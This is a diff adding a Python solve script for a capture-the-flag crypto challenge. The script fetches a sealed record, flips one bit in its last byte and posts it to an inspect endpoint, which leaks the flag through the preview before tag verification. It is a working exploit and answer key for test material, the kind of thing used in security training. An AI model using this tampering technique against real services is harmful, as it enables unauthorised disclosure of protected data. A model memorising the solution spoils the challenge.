b/qualifiers/tagpreview-crypto-easy/solve/solve.py @@ -0,0 +1,43 @@ +#!/usr/bin/env python3 +import json +import re +import sys +import urllib.request + + +def get_bytes(url: str) -> bytes: + with urllib.request.urlopen(url, timeout=5) as response: + return response.read() + + +def post_bytes(url: str, body: bytes) -> dict: + req = urllib.request.Request( + url, + data=body, + method="POST", + headers={"Content-Type": "application/octet-stream"}, + ) + with urllib.request.urlopen(req, timeout=5) as response: + return json.loads(response.read().decode()) + + +def solve(base_url: str) -> str: + base = base_url.rstrip("/") + record = bytearray(get_bytes(base + "/sealed-note")) + record[-1] ^= 1 + result = post_bytes(base + "/inspect", bytes(record)) + preview = result.get("preview", "") + match = re.search(r"caplag\{[^}]+\}", preview) + if not match: + raise RuntimeError(f"flag not found in preview: {result}") + return match.group(0) + + +def main() -> None: + if len(sys.argv) != 2: + raise SystemExit(f"usage: {sys.argv[0]} http://host:port") + print(solve(sys.argv[1])) + + +if __name__ == "__main__": + main()